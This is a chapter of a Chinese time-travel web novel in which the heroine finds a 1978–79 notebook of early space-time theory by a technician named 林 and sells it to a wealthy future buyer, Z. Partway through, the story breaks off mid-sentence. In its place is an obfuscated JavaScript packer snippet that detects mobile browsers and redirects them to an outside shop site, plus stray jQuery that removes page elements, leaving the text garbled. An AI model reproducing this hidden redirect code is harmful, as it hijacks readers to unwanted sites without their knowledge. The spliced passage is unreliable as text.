“是啊,所以我觉得这趟挺值的。”她顺势说。 “那就好。”Z的回复顿了顿,“不过,还是要以安全为第一。旧历建筑的年久失修程度往往超乎想象。” “明白明白。”安玥打字,“我会小心的。不说了,我得去开工了。” “好。注意安全。” 对话结束。 安玥关掉系统,走出宿舍楼。 阳光确实很好,梧桐叶的影子洒了一地。广播里的歌声悠扬。 她深吸一口气。刚才的对话让她心惊肉跳。Z太聪明了,差点就从她的描述里推测出真实环境。 校办工厂的仓库里,安玥继续整理档案。 今天她在一个铁皮柜底层,发现了一个硬壳笔记本。 她打开,第一页写着:“实验记录·1978-1979。林。” 林? 安玥快速翻看。里面是密密麻麻的公式、电路图、还有大段大段的推演文字。字迹潦草, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085635|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多地方涂改过,旁边还有更小的字迹做注释。 系统扫描。 【深度鉴定启动……】 【鉴定完成:旧历年代电子技术实验笔记。内容涉及电路设计、基础应用、以及疑似早期时空理论数学推演。技术前瞻性:极高。历史价值:极高。来源追溯:笔迹与‘星-改-3’图纸标注者相似度98%。注释笔迹与齿轮参数计算草稿批注者相似度97%。】 林知远的笔记。而且里面有时空理论的推演? 她继续往后翻。在笔记本中间部分,有几页被撕掉了,从残留的页码看,大概少了十几页。 安玥把笔记本小心收好,整理完剩下的档案,锁好仓库门,回到宿舍。 晚上,她躺在床上,脑子里全是那本笔记。 林知远那么早就在研究时空理论?这也太超前了吧!而且笔记本里被撕掉的那十几页是不是涉及了什么重要技术? 还有Z,他找林知远的手札,显然是对这些超前的理论推演感兴趣。但安玥想不明白的是,一个未来人,为什么要找几十年前的理论?难不成那些理论对未来还有用? 安玥打开系统,点开Z的私信窗口,手指悬在键盘上。 正犹豫,Z的消息先来了。 “笔友111,今天有新的分享吗?” 安玥打字:“今天发现了一本很有意思的旧笔记本。是一个姓林的技术员在做的实验记录,里面有些在那个年代看来很超前的理论推演。” Z的回复得很快:“笔记本现在在哪?” “在我手上。”安玥回复,“但我不确定要不要卖。内容涉及的方向比较特殊。” “特殊?”Z追问,“是关于哪方面的理论推演?” 安玥斟酌用词:“从公式和图表看,像是某种基础理论物理的延伸,还有大量的数学建模。坦率说,以我的知识储备,看不太懂具体是什么,但能感觉到这不是普通的技术笔记。” Z回复:“笔记本里有署名吗?或者任何能确定作者身份的标记?” 安玥翻了一下笔记本:“第一页写着‘林’,应该是姓氏。另外,笔记本中间有十几页被撕掉了。” “被撕掉了?”Z似乎很在意这个,“撕掉的部分,大概能看得出内容方向吗?” “看不出。”安玥如实说,“撕得很匆忙。” 那边很快回复:“卖给我。” 安玥盯着这行字,皱了皱眉。 她回复:“Z先生,如果你想要,需要给出一个能满足我的价格。” “价格你说了算。”Z的下一句已经发来了。 “一百万纪元币。”她心一狠,直接报了个自己都觉得离谱的超高价。 然而下一秒—— 【系统提示:收到用户Z转账1000000纪元币。备注:林姓技术员笔记本交易款。】 安玥瞪大眼睛,盯着账户余额瞬间从142000变成1142000,脑子空白了一瞬。 真的……转了? 一百万不走系统平台就这么转了?连价都不还?不怕她跑路吗! 她还没来得及反应,Z的消息已经跟了过来:“钱已付。笔记本什么时候可以给我?” 安玥看着这条消息,突然有种不真实感。她知道Z有钱,但没想到有钱到这种程度。 “马上。”她强迫自己冷静下来,打字回复,“我这就把笔记本打包上传。” “谢谢你,麻烦了。”Z回复道。 安玥动作迅速地将笔记本用防水布仔细包好,启动系统的物品传送功能。蓝光扫描过笔记本,物品信息自动录入。 几秒钟后,系统提示音响起: 【物品已存入跨时空加密仓库。该物品已发送至用户Z。】 几乎是同时,Z的消息来了:“东西收到了。交易完成。” 没有多余的话,干脆利落得让安玥都有些恍惚。 这就完了? 她盯着账户里那一长串数字,忽然意识到自己可能还是报低了。Z付钱这么爽快,只能说明这本笔记本的实际价值,远在一百万纪元币之上。 不过安玥很快就释然了。贪心不足蛇吞象,一百万已经远超预期,足够她解决很多问题了。 “交易愉快。”她回复道,“另外,如果你还需要寻找类似的物品,我可以继续留意。” “需要。”Z的回复很快,“任何与林相关的技术资料,无论完整与否,都请第一时间联系我。价格不会低于这次。” 安玥看着这行字,心里那点疑惑又冒了出来。Z对林知远的执着,已经超出了普通收藏家的范畴。 但她没问。 “好,我会留意。”她只是简单回复。 对话结束。 安玥关掉系统,整个人还处于一种恍惚的状态。 一百万纪元币…… 她立刻打开商城,毫不犹豫地购买了五个【针对性环境稳定锚(初级)】,花费500000纪元币。又续了三十天的高级防护Buff,花费600000纪元币。 余额瞬间变成42000。 但她一点都不心疼。五个环境稳定锚,她部署在了她常去的五个地方。 再加上三十天的高级防护,安全感瞬间拉满。 安玥心满意足地躺回床上,这次真的准备睡了。 临睡前,她脑子里最后一个念头是:Z这家伙在那个世界到底多有钱啊?